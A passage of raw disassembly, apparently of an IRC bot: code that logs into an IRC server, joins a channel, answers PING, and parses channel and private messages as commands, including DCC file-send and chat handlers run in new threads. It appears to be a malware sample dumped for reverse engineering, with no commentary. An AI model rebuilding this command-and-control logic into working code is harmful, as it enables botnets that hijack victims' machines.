call sub_415570
push 0
lea eax, [ebp+var_2C]
push dword_46898C
push dword_42C1A4
push eax
call sub_414433
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43F540
push edi
push eax
call sub_416D40
add esp, 28h
push 6
push 1
push 2
call dword_43A418
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43F534[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_43A340
cmp eax, 0FFFFFFFFh
jnz short loc_40CC60
push esi
call dword_43A430
call sub_40A084
push 7D0h
loc_40CC55: ; CODE XREF: sub_40CB75+146j
call dword_421060 ; Sleep
jmp loc_40CB9A
; ---------------------------------------------------------------------------
loc_40CC60: ; CODE XREF: sub_40CB75+CDj
lea eax, [ebp+var_18C]
push eax
push offset dword_43315C
call sub_40B1E1
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40CCDD
add esp, 28h
mov edi, eax
push esi
call dword_43A430
test edi, edi
jz loc_40CB9A
cmp edi, 1
jnz short loc_40CCBD
push 0DBBA0h
jmp short loc_40CC55
; ---------------------------------------------------------------------------
loc_40CCBD: ; CODE XREF: sub_40CB75+13Fj
cmp edi, 2
jz short loc_40CCCB
jmp loc_40CB9A
; ---------------------------------------------------------------------------
loc_40CCC7: ; CODE XREF: sub_40CB75+5Aj
xor eax, eax
jmp short loc_40CCD7
; ---------------------------------------------------------------------------
loc_40CCCB: ; CODE XREF: sub_40CB75+14Bj
push [ebp+var_34]
call sub_4152AF
pop ecx
push 2
pop eax
loc_40CCD7: ; CODE XREF: sub_40CB75+154j
pop edi
pop esi
leave
retn 4
sub_40CB75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCDD proc near ; CODE XREF: sub_40CB75+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_415D70
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40CCFB: ; CODE XREF: sub_40CCDD+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40CCFB
cmp byte_468990, bl
jz short loc_40CD22
push offset byte_468990
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_412D06
add esp, 0Ch
loc_40CD22: ; CODE XREF: sub_40CCDD+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_414433
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_4154E7
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jnz short loc_40CD8C
push [ebp+arg_0]
call dword_43A430
push 1388h
call dword_421060 ; Sleep
loc_40CD85: ; CODE XREF: sub_40CCDD+D9j
; sub_40CCDD+153j
xor eax, eax
loc_40CD87: ; CODE XREF: sub_40CCDD+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40CD8C: ; CODE XREF: sub_40CCDD+92j
; sub_40CCDD+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43A3B0
test eax, eax
jle short loc_40CD85
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_409A3B
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40CD8C
lea edi, [ebp+var_A10]
loc_40CDDD: ; CODE XREF: sub_40CCDD+165j
push 1
pop esi
loc_40CDE0: ; CODE XREF: sub_40CCDD+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_40CE55
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40CE23
push 7D0h
call dword_421060 ; Sleep
jmp short loc_40CDE0
; ---------------------------------------------------------------------------
loc_40CE23: ; CODE XREF: sub_40CCDD+137j
cmp esi, 0FFFFFFFDh
jz short loc_40CE4D
cmp esi, 0FFFFFFFEh
jz short loc_40CE49
cmp esi, 0FFFFFFFFh
jz loc_40CD85
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40CDDD
jmp loc_40CD8C
; ---------------------------------------------------------------------------
loc_40CE49: ; CODE XREF: sub_40CCDD+14Ej
push 1
jmp short loc_40CE4F
; ---------------------------------------------------------------------------
loc_40CE4D: ; CODE XREF: sub_40CCDD+149j
push 2
loc_40CE4F: ; CODE XREF: sub_40CCDD+16Ej
pop eax
jmp loc_40CD87
sub_40CCDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE55 proc near ; CODE XREF: sub_40CCDD+12Ap
var_159C = byte ptr -159Ch
var_119C = byte ptr -119Ch
var_F9C = byte ptr -0F9Ch
var_D9C = byte ptr -0D9Ch
var_C9C = byte ptr -0C9Ch
var_C98 = byte ptr -0C98h
var_B98 = byte ptr -0B98h
var_B94 = byte ptr -0B94h
var_A94 = byte ptr -0A94h
var_A14 = byte ptr -0A14h
var_9B3 = byte ptr -9B3h
var_9B2 = byte ptr -9B2h
var_9B0 = byte ptr -9B0h
var_9AF = byte ptr -9AFh
var_9A6 = byte ptr -9A6h
var_9A4 = byte ptr -9A4h
var_9A2 = byte ptr -9A2h
var_9A1 = byte ptr -9A1h
var_914 = dword ptr -914h
var_910 = byte ptr -910h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = byte ptr -804h
var_800 = dword ptr -800h
var_7FC = byte ptr -7FCh
var_7F8 = dword ptr -7F8h
var_7F4 = dword ptr -7F4h
var_7F0 = byte ptr -7F0h
var_788 = byte ptr -788h
var_77C = byte ptr -77Ch
var_778 = dword ptr -778h
var_774 = byte ptr -774h
var_770 = byte ptr -770h
var_718 = dword ptr -718h
var_710 = byte ptr -710h
var_704 = dword ptr -704h
var_700 = byte ptr -700h
var_6FC = byte ptr -6FCh
var_6F8 = dword ptr -6F8h
var_6F4 = byte ptr -6F4h
var_6F0 = byte ptr -6F0h
var_689 = byte ptr -689h
var_688 = byte ptr -688h
var_680 = byte ptr -680h
var_678 = byte ptr -678h
var_674 = byte ptr -674h
var_670 = byte ptr -670h
var_600 = byte ptr -600h
var_5FC = dword ptr -5FCh
var_5F8 = dword ptr -5F8h
var_5F4 = dword ptr -5F4h
var_5F0 = byte ptr -5F0h
var_588 = dword ptr -588h
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_578 = dword ptr -578h
var_574 = dword ptr -574h
var_570 = dword ptr -570h
var_56C = dword ptr -56Ch
var_568 = dword ptr -568h
var_564 = byte ptr -564h
var_548 = byte ptr -548h
var_4F8 = dword ptr -4F8h
var_4F4 = byte ptr -4F4h
var_4F0 = dword ptr -4F0h
var_4EC = byte ptr -4ECh
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D4 = byte ptr -4D4h
var_4AC = byte ptr -4ACh
var_48C = dword ptr -48Ch
var_474 = byte ptr -474h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = byte ptr -448h
var_444 = byte ptr -444h
var_430 = byte ptr -430h
var_420 = byte ptr -420h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_3F8 = dword ptr -3F8h
var_3F4 = byte ptr -3F4h
var_3E8 = byte ptr -3E8h
var_3E4 = byte ptr -3E4h
var_3C4 = byte ptr -3C4h
var_3A0 = byte ptr -3A0h
var_384 = byte ptr -384h
var_374 = byte ptr -374h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2D8 = word ptr -2D8h
var_2D6 = word ptr -2D6h
var_2D4 = dword ptr -2D4h
var_2C8 = byte ptr -2C8h
var_C8 = dword ptr -0C8h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 159Ch
call sub_415D70
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C8]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_98], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_C8], ebx
call sub_415570
push 1Bh
lea eax, [ebp+var_564]
push [ebp+arg_10]
push eax
call sub_416D40
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_40D219
push esi
lea eax, [ebp+var_F9C]
push ebx
push eax
call sub_415570
dec esi
lea eax, [ebp+var_F9C]
push esi
push [ebp+arg_0]
push eax
call sub_416D40
lea eax, [ebp+var_F9C]
push offset asc_436588 ; " :"
push eax
call sub_415AC0
mov [ebp+var_C], eax
lea eax, [ebp+var_F9C]
push esi
push eax
lea eax, [ebp+var_119C]
push eax
call sub_416D40
mov esi, offset asc_426A00 ; " "
lea eax, [ebp+var_119C]
push esi
push eax
call sub_416C98
add esp, 34h
mov [ebp+var_94], eax
lea edi, [ebp+var_90]
mov [ebp+var_A8], 1Fh
loc_40CF28: ; CODE XREF: sub_40CE55+E7j
push esi
push ebx
call sub_416C98
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_40CF28
mov esi, [ebp+var_94]
cmp esi, ebx
jz loc_40D219
cmp [ebp+var_90], ebx
jz loc_40D219
push 100h
lea eax, [ebp+var_A14]
push ebx
push eax
call sub_415570
add esp, 0Ch
lea ecx, [ebp+var_18]
push 1Fh
pop edx
push 1
pop edi
loc_40CF76: ; CODE XREF: sub_40CE55+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_40CFA2
cmp byte ptr [eax], 2Dh
jnz short loc_40CFAA
cmp [eax+2], bl
jnz short loc_40CFAA
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_A14], 1
mov esi, [ebp+var_94]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40CFA2: ; CODE XREF: sub_40CE55+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_40CF76
loc_40CFAA: ; CODE XREF: sub_40CE55+12Aj
; sub_40CE55+12Fj
cmp [ebp+var_9A1], bl
jz short loc_40CFB5
mov [ebp+var_8], edi
loc_40CFB5: ; CODE XREF: sub_40CE55+15Bj
cmp [ebp+var_9A6], bl
jz short loc_40CFC3
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_40CFC3: ; CODE XREF: sub_40CE55+166j
cmp byte ptr [esi], 0Ah
jz short loc_40CFFD
push 7Fh
lea eax, [ebp+var_A94]
push esi
push eax
call sub_416D40
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_416D40
lea eax, [ebp+var_C4]
push offset dword_42F3E4
push eax
call sub_416C98
add esp, 20h
loc_40CFFD: ; CODE XREF: sub_40CE55+171j
push esi
push offset aPing ; "PING"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D04E
push [ebp+var_90]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_412D06
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40D0F2
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412D06
add esp, 10h
jmp loc_40D0F2
; ---------------------------------------------------------------------------
loc_40D04E: ; CODE XREF: sub_40CE55+1B7j
mov esi, [ebp+var_90]
push esi
push offset a001 ; "001"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412B1A
push esi
push offset a005 ; "005"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412B1A
push esi
push offset a302 ; "302"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D0B9
push offset a@_6 ; "@"
push [ebp+var_88]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40D0F2
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_416D40
add esp, 0Ch
jmp short loc_40D0F2
; ---------------------------------------------------------------------------
loc_40D0B9: ; CODE XREF: sub_40CE55+238j
push esi
push offset a433 ; "433"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D0F9
push ebx
push dword_46898C
push dword_42C1A4
push [ebp+arg_10]
call sub_414433
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412D06
add esp, 1Ch
loc_40D0F2: ; CODE XREF: sub_40CE55+1D8j
; sub_40CE55+1F4j ...
mov eax, edi
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_40D0F9: ; CODE XREF: sub_40CE55+273j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 2
mov edi, 80h
loc_40D10B: ; CODE XREF: sub_40CE55+2DBj
lea eax, [ebp+var_A94]
push eax
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D128
mov [ebp+var_98], 1
loc_40D128: ; CODE XREF: sub_40CE55+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_40D10B
mov esi, [ebp+var_90]
push esi
push offset aKick ; "KICK"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D221
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 2
loc_40D157: ; CODE XREF: sub_40CE55+38Fj
cmp [esi], bl
jz loc_40D1DF
push 7Fh
lea eax, [ebp+var_A94]
push esi
push eax
call sub_416D40
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_40D1DF
cmp [ebp+var_88], ebx
jz short loc_40D1DF
push [ebp+var_88]
lea eax, [ebp+var_C4]
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D1DF
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C8]
push offset dword_436514
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_412D06
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
add esp, 20h
loc_40D1DF: ; CODE XREF: sub_40CE55+304j
; sub_40CE55+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_40D157
push [ebp+var_88]
push [ebp+arg_10]
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D219
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40D20E: ; CODE XREF: sub_40CE55+615j
; sub_40CE55+96Cj
push [ebp+arg_4]
call sub_412D06
loc_40D216: ; CODE XREF: sub_40CE55+51FEj
; sub_40CE55+521Bj ...
add esp, 10h
loc_40D219: ; CODE XREF: sub_40CE55+5Bj
; sub_40CE55+F1j ...
push 1
loc_40D21B: ; CODE XREF: sub_40CE55+5745j
pop eax
loc_40D21C: ; CODE XREF: sub_40CE55+29Fj
; sub_40CE55+2164j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40D221: ; CODE XREF: sub_40CE55+2F2j
push esi
push offset aNick ; "NICK"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D377
mov eax, [ebp+var_8C]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 2
mov [ebp+arg_24], eax
loc_40D24A: ; CODE XREF: sub_40CE55+447j
lea eax, [ebp+var_A94]
push eax
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D297
lea eax, [ebp+var_A94]
push 21h
push eax
call sub_417080
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_40D297
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_415C00
push [ebp+arg_1C]
push edi
call sub_415C10
add esp, 10h
mov edi, 80h
loc_40D297: ; CODE XREF: sub_40CE55+406j
; sub_40CE55+41Dj
add esi, edi
dec [ebp+arg_0]
jnz short loc_40D24A
lea eax, [ebp+var_C4]
test eax, eax
jz loc_40D219
cmp [ebp+arg_24], ebx
jz loc_40D219
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D2DF
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_416D40
add esp, 0Ch
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40D2DF: ; CODE XREF: sub_40CE55+473j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40D2E4: ; CODE XREF: sub_40CE55+4B0j
cmp [edi], bl
jz short loc_40D2FB
lea eax, [ebp+var_A94]
push eax
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40D30C
loc_40D2FB: ; CODE XREF: sub_40CE55+491j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40D2E4
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40D30C: ; CODE XREF: sub_40CE55+4A4j
lea eax, [ebp+var_A94]
push 21h
push eax
call sub_417080
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_40D219
push eax
call sub_415CF0
push [ebp+arg_24]
mov edi, eax
call sub_415CF0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_40D219
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS_1 ; ":%s%s"
push esi
call sub_4154E7
push ebx
lea eax, [ebp+var_4AC]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_412D4C
add esp, 24h
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40D377: ; CODE XREF: sub_40CE55+3DBj
push esi
push offset aPart ; "PART"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40D399
push esi
push offset aQuit ; "QUIT"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D3C0
loc_40D399: ; CODE XREF: sub_40CE55+531j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40D39E: ; CODE XREF: sub_40CE55+569j
cmp [edi], bl
jz short loc_40D3B4
push [ebp+var_94]
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40D40E
loc_40D3B4: ; CODE XREF: sub_40CE55+54Bj
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40D39E
loc_40D3C0: ; CODE XREF: sub_40CE55+542j
push [ebp+var_90]
push offset a353 ; "353"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D46F
push [ebp+var_84]
push [ebp+arg_8]
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D3F7
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40D3F7: ; CODE XREF: sub_40CE55+597j
push [ebp+var_84]
push offset dword_4364B4
loc_40D402: ; CODE XREF: sub_40CE55+5577j
; sub_40CE55+58F0j ...
call sub_40B1E1
pop ecx
loc_40D408: ; CODE XREF: sub_40CE55+5A05j
pop ecx
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40D40E: ; CODE XREF: sub_40CE55+55Dj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C8]
push offset dword_436480
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
push [ebp+var_90]
push offset aPart ; "PART"
call sub_415910
add esp, 18h
test eax, eax
jnz loc_40D219
lea eax, [ebp+var_2C8]
push eax
mov eax, [ebp+var_94]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40D20E
; ---------------------------------------------------------------------------
loc_40D46F: ; CODE XREF: sub_40CE55+57Fj
push [ebp+var_90]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_415910
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40D4C3
push [ebp+var_90]
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40D4C3
push [ebp+var_90]
push offset dword_43646C
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_41298E
cmp dword_42C194, ebx
jz loc_41298E
loc_40D4C3: ; CODE XREF: sub_40CE55+634j
; sub_40CE55+646j
push [ebp+var_90]
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40D649
push [ebp+var_90]
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40D649
mov eax, [ebp+var_88]
inc [ebp+var_84]
push 4
mov [ebp+var_8C], eax
pop esi
mov [ebp+var_AC], esi
loc_40D50A: ; CODE XREF: sub_40CE55+8B0j
; sub_40CE55+941j ...
shl esi, 2
mov eax, [ebp+esi+var_94]
lea edi, [ebp+esi+var_94]
push eax
push offset dword_436464
mov [ebp+arg_8], eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D943
push [ebp+esi+var_90]
push offset aSend_0 ; "SEND"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D801
cmp [ebp+var_98], ebx
jz loc_40D7D7
push [ebp+esi+var_8C]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_6FC]
push edi
push eax
call sub_4154E7
push [ebp+esi+var_88]
lea eax, [ebp+var_710]
push edi
push eax
call sub_4154E7
push [ebp+esi+var_84]
call sub_415A5F
mov [ebp+var_578], eax
mov eax, [ebp+arg_4]
mov [ebp+var_718], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_5F8]
push eax
call sub_416D40
mov eax, [ebp+var_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
lea eax, [ebp+var_5F8]
push eax
lea eax, [ebp+var_6FC]
push eax
lea eax, [ebp+var_2C8]
push offset dword_43641C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 12h
push eax
call sub_414F93
add esp, 44h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_718]
push ebx
push eax
push offset sub_40BAB4
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz loc_40D7C6
loc_40D633: ; CODE XREF: sub_40CE55+7F2j
cmp [ebp+var_568], ebx
jnz loc_40D7F9
push 32h
call dword_421060 ; Sleep
jmp short loc_40D633
; ---------------------------------------------------------------------------
loc_40D649: ; CODE XREF: sub_40CE55+67Ej
; sub_40CE55+694j
push [ebp+var_90]
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40D662
mov [ebp+var_4], 1
loc_40D662: ; CODE XREF: sub_40CE55+804j
cmp [ebp+var_8C], ebx
jz loc_40D219
push (offset loc_4263DB+1)
push [ebp+var_8C]
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_40D689
cmp [ebp+var_4], ebx
jz short loc_40D695
loc_40D689: ; CODE XREF: sub_40CE55+82Dj
lea eax, [ebp+var_C4]
mov [ebp+var_8C], eax
loc_40D695: ; CODE XREF: sub_40CE55+832j
cmp [ebp+var_88], ebx
jz loc_40D219
inc [ebp+var_88]
jz short loc_40D6E1
cmp [ebp+arg_10], ebx
jz short loc_40D6E1
lea eax, [ebp+var_564]
push eax
call sub_415CF0
push eax
lea eax, [ebp+var_564]
push [ebp+var_88]
push eax
call sub_416ED0
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_40D6E7
; ---------------------------------------------------------------------------
loc_40D6E1: ; CODE XREF: sub_40CE55+852j
; sub_40CE55+857j
mov esi, [ebp+var_AC]
loc_40D6E7: ; CODE XREF: sub_40CE55+88Aj
mov edi, [ebp+esi*4+var_94]
cmp edi, ebx
jz loc_40D219
push edi
push offset dword_436410
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D50A
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz short loc_40D787
mov eax, dword_46899C
mov eax, off_42C264[eax*4]
cmp [eax], bl
jz short loc_40D787
push eax
push ecx
push offset dword_4363F4
push [ebp+arg_4]
call sub_412D06
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C8]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
add esp, 20h
cmp [ebp+var_98], ebx
jnz loc_40D219
push ebx
lea eax, [ebp+var_2C8]
push 1
push eax
push offset dword_4688A4
loc_40D777: ; CODE XREF: sub_40CE55+52F2j
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40D787: ; CODE XREF: sub_40CE55+8BFj
; sub_40CE55+8CFj
push edi
push offset dword_4363D0
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D50A
mov eax, [ebp+esi*4+var_90]
cmp eax, ebx
jz loc_40D50A
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz loc_40D50A
push eax
push ecx
push offset dword_4363B8
jmp loc_40D20E
; ---------------------------------------------------------------------------
loc_40D7C6: ; CODE XREF: sub_40CE55+7D8j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_43636C
jmp loc_40D92F
; ---------------------------------------------------------------------------
loc_40D7D7: ; CODE XREF: sub_40CE55+6FFj
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C8]
push [ebp+esi+var_8C]
push offset dword_436318
push eax
call sub_4154E7
add esp, 10h
loc_40D7F9: ; CODE XREF: sub_40CE55+7E4j
; sub_40CE55+AA2j ...
push 1
pop esi
jmp loc_40EFAA
; ---------------------------------------------------------------------------
loc_40D801: ; CODE XREF: sub_40CE55+6F3j
push [ebp+esi+var_90]
push offset aChat ; "CHAT"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40D959
cmp [ebp+var_98], ebx
jz loc_40D923
push 13h
call sub_4151DB
test eax, eax
pop ecx
jnz loc_40D915
push [ebp+esi+var_88]
lea eax, [ebp+var_710]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
push [ebp+esi+var_84]
call sub_415A5F
mov [ebp+var_578], eax
mov eax, [ebp+arg_4]
mov [ebp+var_718], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_5F8]
push eax
call sub_416D40
mov eax, [ebp+var_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C8]
push offset dword_4362DC
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 13h
push eax
call sub_414F93
add esp, 34h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_718]
push ebx
push eax
push offset sub_40B551
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_574]
